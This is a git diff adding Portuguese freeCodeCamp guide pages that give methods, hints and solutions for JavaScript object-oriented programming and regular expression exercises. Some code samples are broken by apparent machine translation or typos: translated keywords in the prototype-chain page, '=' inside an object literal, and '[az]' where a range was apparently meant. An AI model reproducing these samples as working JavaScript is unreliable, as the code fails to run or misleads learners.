--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Reset an Inherited Constructor Property
+localeTitle: Redefinir uma propriedade de construtor herdado
+---
+## Redefinir uma propriedade de construtor herdado
+
+### Método
+
+Os objetos `duck` e `beagle` foram programados para herdar as propriedades do construtor `supertypes` . Para sobrescrever estas duas linhas de código, terá que ser escrito para definir os construtores para os construtores desejados `Bird` e `Dog` . O código a seguir demonstra como isso pode ser alcançado.
+
+```javascript
+Bird.prototype.constructor = Bird; 
+```
+
+### Solução
+
+```javascript
+function Animal() { } 
+ function Bird() { } 
+ function Dog() { } 
+ 
+ Bird.prototype = Object.create(Animal.prototype); 
+ Dog.prototype = Object.create(Animal.prototype); 
+ 
+ // Add your code below this line 
+ Bird.prototype.constructor = Bird; 
+ Dog.prototype.constructor = Dog; 
+ 
+ let duck = new Bird(); 
+ let beagle = new Dog(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md
new file mode 100644
index 0000000000..874d281134
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md
@@ -0,0 +1,35 @@
+---
+title: Set the Child's Prototype to an Instance of the Parent
+localeTitle: Defina o protótipo da criança para uma instância do pai
+---
+## Defina o protótipo da criança para uma instância do pai
+
+### Método
+
+Este desafio não é diferente do último desafio, no fato de que você deve criar um objeto que herda do `supertype` . Só que desta vez o subtipo `Dog` herdará o supertipo `Animal` . Simplesmente crie uma nova instância de `Dog.prototype` como no exemplo a seguir.
+
+```javascript
+Bird.prototype = Object.create(Animal.prototype); 
+```
+
+### Solução
+
+```javascript
+function Animal() { } 
+ 
+ Animal.prototype = { 
+  constructor: Animal, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  } 
+ }; 
+ 
+ function Dog() { } 
+ 
+ // Add your code below this line 
+ Dog.prototype = Object.create(Animal.prototype); 
+ 
+ let beagle = new Dog(); 
+ beagle.eat();  // Should print "nom nom nom" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md
new file mode 100644
index 0000000000..b8bceb34f2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md
@@ -0,0 +1,25 @@
+---
+title: Understand Own Properties
+localeTitle: Compreenda as propriedades próprias
+---
+## Compreenda as propriedades próprias
+
+### Método:
+
+No código de exemplo fornecido, você verá uma nova matriz `ownProps[]` intialised seguida por uma instrução `for...in` para percorrer as propriedades de `duck` e, em seguida, usar uma instrução `push()` para preencher a nova matriz. O mesmo método deve ser seguido para o objeto `canary` .
+
+Simplesmente substitua o objeto `duck` na instrução 'for… in' pelo objeto `canary` para passar todos os casos de teste.
+
+### Solução:
+
+```javascript
+let canary = new Bird("Tweety"); 
+ let ownProps = []; 
+ // Add your code below this line 
+ for(let property in canary) { 
+  if(canary.hasOwnProperty(property)) { 
+    ownProps.push(property); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md
new file mode 100644
index 0000000000..8b018d29d6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md
@@ -0,0 +1,28 @@
+---
+title: Understand the Constructor Property
+localeTitle: Entenda a propriedade do construtor
+---
+## Entenda a propriedade do construtor
+
+### Método
+
+Simplesmente termine a função como a do exemplo dado. Use uma `if-statement` para testar se o `candidate` é ou não um `Dog` .
+
+### Solução
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ // Add your code below this line 
+ function joinDogFraternity(candidate) { 
+  if(candidate.constructor === Dog) { 
+    return true; 
+  } 
+  else { 
+    return false; 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md
new file mode 100644
index 0000000000..34a67915ed
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md
@@ -0,0 +1,18 @@
+---
+title: Understand the Immediately Invoked Function Expression (IIFE)
+localeTitle: Entenda a Expressão de Função Imediatamente Invocada (IIFE)
+---
+## Entenda a Expressão de Função Imediatamente Invocada (IIFE)
+
+### Método
+
+O primeiro caso de teste pede para você tornar a função anônima. Para fazer isso, simplesmente remova o nome da função como visto no exemplo. A função deve então ser envolvida em chaves com outro conjunto de chaves no final para chamar imediatamente a função.
+
+### Solução
+
+```javascript
+(function() { 
+  console.log("A cozy nest is ready"); 
+ })(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md
new file mode 100644
index 0000000000..a4564ecd5c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md
@@ -0,0 +1,17 @@
+---
+title: Understand the Prototype Chain
+localeTitle: Entenda a cadeia de protótipos
+---
+## Entenda a cadeia de protótipos
+
+### Solução
+
+Seu código deve mostrar que Object.prototype é o protótipo do Dog.prototype
+
+\`\` \`javascript função Dog (name) { this.name = nome; }
+
+deixe o beagle = novo cachorro ("Snoopy");
+
+Dog.prototype.isPrototypeOf (beagle); // => true
+
+// Corrigir o código abaixo para que ele seja avaliado como verdadeiro Object.prototype.isPrototypeOf (Dog.prototype); \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md
new file mode 100644
index 0000000000..f5b93733b3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand Where an Object’s Prototype Comes From
+localeTitle: Entenda de onde o protótipo de um objeto vem
+---
+## Entenda onde o protótipo de um objeto vem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md
new file mode 100644
index 0000000000..12937e809d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md
@@ -0,0 +1,22 @@
+---
+title: Use a Constructor to Create Objects
+localeTitle: Use um construtor para criar objetos
+---
+## Use um construtor para criar objetos
+
+### Método:
+
+Vimos no último desafio como criar uma função construtora. Agora podemos simplesmente chamar essa função para criar um novo objeto com as propriedades já definidas no construtor. Simplesmente inicialize uma nova variável `hound` chamando o construtor `Dog()` .
+
+### Solução:
+
+```javascript
+function Dog() { 
+  this.name = "Rupert"; 
+  this.color = "brown"; 
+  this.numLegs = 4; 
+ } 
+ // Add your code below this line 
+ let hound = new Dog(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md
new file mode 100644
index 0000000000..f80c15d829
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md
@@ -0,0 +1,33 @@
+---
+title: Use a Mixin to Add Common Behavior Between Unrelated Objects
+localeTitle: Use um Mixin para adicionar um comportamento comum entre objetos não relacionados
+---
+## Use um Mixin para adicionar um comportamento comum entre objetos não relacionados
+
+### Método
+
+Assim como a função `flyMixin` , uma nova função `glideMixin` deve ser feita para aceitar os objetos `bird` e `boat` como parâmetro. Crie esta nova função usando a mesma sintaxe da função `flyMixin` e, em seguida, chame a função nos dois objetos.
+
+### Solução
+
+```javascript
+let bird = { 
+  name: "Donald", 
+  numLegs: 2 
+ }; 
+ 
+ let boat = { 
+  name: "Warrior", 
+  type: "race-boat" 
+ }; 
+ 
+ // Add your code below this line 
+ let glideMixin = function(obj) { 
+    obj.glide = function() { 
+        console.log("Gliding!"); 
+    } 
+ }; 
+ glideMixin(bird); 
+ glideMixin(boat); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md
new file mode 100644
index 0000000000..f2d53e6aac
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md
@@ -0,0 +1,45 @@
+---
+title: Use an IIFE to Create a Module
+localeTitle: Use um IIFE para criar um módulo
+---
+## Use um IIFE para criar um módulo
+
+### Método
+
+Ambos `Mixin` 's devem ser embrulhados em um novo `funModule` então um ponto inicial é comentar todo o código até o momento.
+
+```javascript
+/*let isCuteMixin = function(obj) { 
+  obj.isCute = function() { 
+    return true; 
+  }; 
+ }; 
+ let singMixin = function(obj) { 
+  obj.sing = function() { 
+    console.log("Singing to an awesome tune"); 
+  }; 
+ }; 
+ */ 
+```
+
+Em seguida, abaixo, comece a escrever seu novo código do `funModule` . Dentro do novo módulo, você precisa escrever uma declaração de retorno para retornar ambos os blocos de código do `Mixin` . Simplesmente copie ambos os blocos de código originais do `Mixin` para o novo código do módulo, mas lembre-se de separar ambos os mixins com um `,`
+
+### Solução
+
+```javascript
+let funModule = (function() { 
+  return { 
+    isCuteMixin: function(obj) { 
+      obj.isCute = function() { 
+        return true; 
+      }; 
+    }, 
+    singMixin: function(obj) { 
+      obj.sing = function() { 
+         console.log("Singing to an awesome tune"); 
+      }; 
+    } 
+  } 
+ })(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md
new file mode 100644
index 0000000000..90ed5b33d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md
@@ -0,0 +1,23 @@
+---
+title: Use Closure to Protect Properties Within an Object from Being Modified Externally
+localeTitle: Use o fechamento para proteger as propriedades em um objeto de serem modificadas externamente
+---
+## Use o fechamento para proteger as propriedades em um objeto de serem modificadas externamente
+
+### Método
+
+Assim como no exemplo dado, em vez de declarar a variável de `weight` com a palavra `this` chave `this` , a palavra-chave `let` deve ser usada para declará-la como uma variável privada. Desta forma, só pode ser acessado dentro da função `Bird` . O método `getWeight` deve então ser adicionado dentro da função `Bird` para acessar a variável de `weight` .
+
+### Solução
+
+```javascript
+function Bird() { 
+  let weight = 15; 
+ 
+  this.getWeight = function() { 
+    return weight; 
+  }; 
+ 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md
new file mode 100644
index 0000000000..83687a8685
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-dot-notation-to-access-the-properties-of-an-object/index.md
@@ -0,0 +1,33 @@
+---
+title: Use Dot Notation to Access the Properties of an Object
+localeTitle: Use Dot Notation para acessar as propriedades de um objeto
+---
+## Use Dot Notation para acessar as propriedades de um objeto
+
+### Método:
+
+O código a seguir simplesmente imprimirá a `property1` do objeto `obj` .
+
+```javascript
+let obj = { 
+  property1 = 1, 
+  property2 = 2 
+ }; 
+ 
+ console.log(obj.property1); 
+```
+
+Seguindo essa lógica, use a operação `console.log` para imprimir a `property1` e a `property2` na tela.
+
+### Solução:
+
+```javascript
+let dog = { 
+  name: "Spot", 
+  numLegs: 4 
+ }; 
+ // Add your code below this line 
+ console.log(dog.name); 
+ console.log(dog.numLegs); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md
new file mode 100644
index 0000000000..3a8b8bb358
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-inheritance-so-you-dont-repeat-yourself/index.md
@@ -0,0 +1,37 @@
+---
+title: Use Inheritance So You Don't Repeat Yourself
+localeTitle: Use a herança para que você não se repita
+---
+## Use a herança para que você não se repita
+
+### Solução
+
+Remova o método "eat" do Cat.prototype e Bear.prototype e adicione-o ao Animal.prototype.
+
+```javascript
+function Cat(name) { 
+  this.name = name; 
+ }; 
+ 
+ Cat.prototype = { 
+  constructor: Cat 
+ }; 
+ 
+ function Bear(name) { 
+  this.name = name; 
+ }; 
+ 
+ Bear.prototype = { 
+  constructor: Bear 
+ }; 
+ 
+ function Animal() { }; 
+ 
+ Animal.prototype = { 
+  constructor: Animal, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md
new file mode 100644
index 0000000000..9abbc9e335
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-prototype-properties-to-reduce-duplicate-code/index.md
@@ -0,0 +1,31 @@
+---
+title: Use Prototype Properties to Reduce Duplicate Code
+localeTitle: Use propriedades de protótipo para reduzir o código duplicado
+---
+## Use propriedades de protótipo para reduzir o código duplicado
+
+### Método:
+
+A propriedade `prototype` nos permite adicionar novas propriedades a um construtor de objetos de fora do bloco de código original. A propriedade prototype também permite adicionar novas funções ao construtor de objetos. O código a seguir demonstra como usar `.prototype` em um objeto para criar uma nova propriedade no construtor.
+
+#### Exemplo:
+
+```javascript
+Obj.prototype.newProperty = "New Property!"; 
+```
+
+Usando essa lógica, basta criar uma nova propriedade de `prototype` para `numLegs` . Os casos de teste podem ser passados ​​substituindo o objeto `Bird` objeto `Dog` no exemplo fornecido - `Bird.prototype.numLegs = 2;`
+
+### Solução:
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype.numLegs = 4; 
+ 
+ // Add your code above this line 
+ let beagle = new Dog("Snoopy"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md
new file mode 100644
index 0000000000..ac81710fb8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/verify-an-objects-constructor-with-instanceof/index.md
@@ -0,0 +1,32 @@
+---
+title: Verify an Object's Constructor with instanceof
+localeTitle: Verificar o construtor de um objeto com instância de
+---
+## Verificar o construtor de um objeto com instância de
+
+### Método:
+
+Assim como no último desafio, crie um novo objeto - `myHouse` - usando o construtor fornecido.
+
+#### Exemplo:
+
+```javascript
+let hound = new Dog(); 
+```
+
+Lembre-se de dar à função `House` um parâmetro para inicializar o número de quartos. Em seguida, basta chamar o operador `instanceof` para retornar true em sua nova casa.
+
+### Solução:
+
+```javascript
+/* jshint expr: true */ 
+ 
+ function House(numBedrooms) { 
+  this.numBedrooms = numBedrooms; 
+ } 
+ 
+ // Add your code below this line 
+ let myHouse = new House(5); 
+ myHouse instanceof House; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md
new file mode 100644
index 0000000000..1b41753504
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md
@@ -0,0 +1,9 @@
+---
+title: Check for All or None
+localeTitle: Verificar tudo ou nada
+---
+## Verificar tudo ou nada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/check-for-all-or-none/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md
new file mode 100644
index 0000000000..f4173f0fad
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/extract-matches/index.md
@@ -0,0 +1,26 @@
+---
+title: Extract Matches
+localeTitle: Extrair correspondências
+---
+## Extrair correspondências
+
+Usando o método `match()` , você pode extrair partes de uma string que corresponda à sua expressão regular. Neste desafio, você está extraindo a palavra "codificação" da string fornecida.
+
+## Sugestão 1:
+
+Altere seu regex para detectar a palavra "codificação".
+
+## Dica 2:
+
+Você chamou o método `match()` na string?
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+let extractStr = "Extract the word 'coding' from this string."; 
+ let codingRegex = /coding/; 
+ let result = extractStr.match(codingRegex); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md
new file mode 100644
index 0000000000..29f497016e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md
@@ -0,0 +1,18 @@
+---
+title: Find Characters with Lazy Matching
+localeTitle: Encontrar personagens com correspondência preguiçosa
+---
+## Encontrar personagens com correspondência preguiçosa
+
+#### Desafio:
+
+Corrija o regex `/<.*>/` para retornar a tag HTML `<h1>` e não o texto `<h1>Winter is coming</h1>` . Lembre-se do curinga. em uma expressão regular corresponde a qualquer caractere.
+
+#### Solução:
+
+```js
+let text = "<h1>Winter is coming</h1>"; 
+ let myRegex = /<h1>?/; // it's the answer! 
+ let result = text.match(myRegex); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md
new file mode 100644
index 0000000000..b63fdb629e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md
@@ -0,0 +1,26 @@
+---
+title: Find More Than the First Match
+localeTitle: Encontre mais do que o primeiro jogo
+---
+## Encontre mais do que o primeiro jogo
+
+Se você tiver várias ocorrências de sua regex dentro de uma string, você pode obter a função `match()` para detectar todas elas. Simplesmente marque a bandeira `g` no final do seu regex! Isso é o que você está fazendo neste desafio.
+
+## Sugestão 1:
+
+Altere o regex para que ele detecte a palavra "twinkle".
+
+## Dica 2:
+
+Você pode adicionar várias tags a uma regex! Por exemplo, um regex que detecta várias ocorrências e detecta, independentemente do caso, pode ser estruturado como `gi` ou `ig` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+let twinkleStar = "Twinkle, twinkle, little star"; 
+ let starRegex = /twinkle/gi; 
+ let result = twinkleStar.match(starRegex); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md
new file mode 100644
index 0000000000..f65a94f11d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md
@@ -0,0 +1,41 @@
+---
+title: Find One or More Criminals in a Hunt
+localeTitle: Encontre um ou mais criminosos em uma caçada
+---
+## Encontre um ou mais criminosos em uma caçada
+
+## O problema
+
+Um grupo de criminosos escapou da prisão e fugiu, mas você não sabe quantos. No entanto, você sabe que eles ficam juntos quando estão perto de outras pessoas. Você é responsável por encontrar todos os criminosos de uma só vez.
+
+Escreva um regex ganancioso que encontre um ou mais criminosos dentro de um grupo de outras pessoas. Um criminoso é representado pela letra maiúscula C.
+
+### Sugestão 1:
+
+Você está cercando seu regexp em barras?
+
+```javascript
+let regexp = /t.[az]*t/; 
+```
+
+### Dica 2:
+
+Você está usando a sinalização "+" no seu regexp?
+
+```javascript
+let regexp = /E+/; // returns E, EE, EEE patterns 
+```
+
+### Aviso de spoiler - Solução à frente
+
+## Solução
+
+```javascript
+let crowd = 'P1P2P3P4P5P6CCCP7P8P9'; 
+ 
+ let reCriminals = /C+/; // Change this line 
+ 
+ let matchedCriminals = crowd.match(reCriminals); 
+ console.log(matchedCriminals); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md
new file mode 100644
index 0000000000..596776e2bc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md
@@ -0,0 +1,22 @@
+---
+title: Ignore Case While Matching
+localeTitle: Ignorar maiúsculas e minúsculas durante a correspondência
+---
+## Ignorar maiúsculas e minúsculas durante a correspondência
+
+Ao criar uma expressão regular, você pode querer corresponder partes da string que são iguais em ortografia, mas diferentes no caso. Para fazer isso, você adiciona o sinalizador `i` ao final da regex. Neste desafio, você está fazendo exatamente isso.
+
+## Sugestão 1:
+
+Modifique o regex para que ele detecte "freeCodeCamp", "FREECODECAMP" e "FrEeCoDeCaMp". Talvez usando o `i` bandeira pode ajudar?
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+let myString = "freeCodeCamp"; 
+ let fccRegex = /freeCodeCamp/i; 
+ let result = fccRegex.test(myString); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md
new file mode 100644
index 0000000000..361b521308
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Regular Expressions
+localeTitle: Expressões regulares
+---
+## Expressões regulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md
new file mode 100644
index 0000000000..a0929c0ac2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md
@@ -0,0 +1,22 @@
+---
+title: Match a Literal String with Different Possibilities
+localeTitle: Combine uma seqüência literal com diferentes possibilidades
+---
+## Combine uma seqüência literal com diferentes possibilidades
+
+Suponha que você queira combinar muitas palavras diferentes com sua expressão regular; usando o `|` símbolo, isso se torna possível. Neste desafio, você está usando esse símbolo para identificar quatro animais de estimação diferentes escondidos dentro de cordas!
+
+## Sugestão 1:
+
+Dentro da string literal, coloque os nomes dos animais de estimação, cada um separado pelo `|` símbolo.
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascriot
+let petString = "James has a pet cat."; 
+ let petRegex = /dog|cat|bird|fish/; 
+ let result = petRegex.test(petString); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md
new file mode 100644
index 0000000000..be209ac760
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md
@@ -0,0 +1,13 @@
+---
+title: Match All Letters and Numbers
+localeTitle: Corresponder todas as letras e números
+---
+O problema Use a classe de caractere abreviada \\ w para contar o número de caracteres alfanuméricos em várias aspas e cadeias de caracteres.
+
+Solução vamos quoteSample = "Os cinco magos do boxe saltam rapidamente."; let alphabetRegexV2 = / \\ w / gi; // Alterar esta linha deixe resultado = quoteSample.match (alphabetRegexV2) .length;
+
+## Corresponder todas as letras e números
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md
new file mode 100644
index 0000000000..23c442a9c4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md
@@ -0,0 +1,25 @@
+---
+title: Match All Non-Numbers
+localeTitle: Corresponder a todos os não-números
+---
+## Corresponder a todos os não-números
+
+## Sugestão 1
+
+*   Você deve tentar usar um sinalizador global.
+
+## Sugestão 2
+
+*   Tente um caractere abreviado para caracteres não-dígitos.
+
+# Alerta de Spoiler !! Solução à frente!
+
+## Solução
+
+```javascript
+let noNumRegex = /\D/g; 
+```
+
+## Explicação
+
+*   O caractere abreviado `\D` é usado para corresponder caracteres não-dígitos, tem o mesmo resultado que usar `[^0-9]` ;
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md
new file mode 100644
index 0000000000..390ccbc7e9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md
@@ -0,0 +1,25 @@
+---
+title: Match All Numbers
+localeTitle: Corresponder todos os números
+---
+## Corresponder todos os números
+
+## Sugestão 1
+
+*   Uma bandeira global ajudará você a superar esse desafio.
+
+## Sugestão 2
+
+*   Tente usar um personagem abreviação para `d` igits.
+
+# Alerta de Spoiler !! Solução à frente!
+
+## Solução
+
+```javascript
+let numRegex = /\d/g; 
+```
+
+## Explicação
+
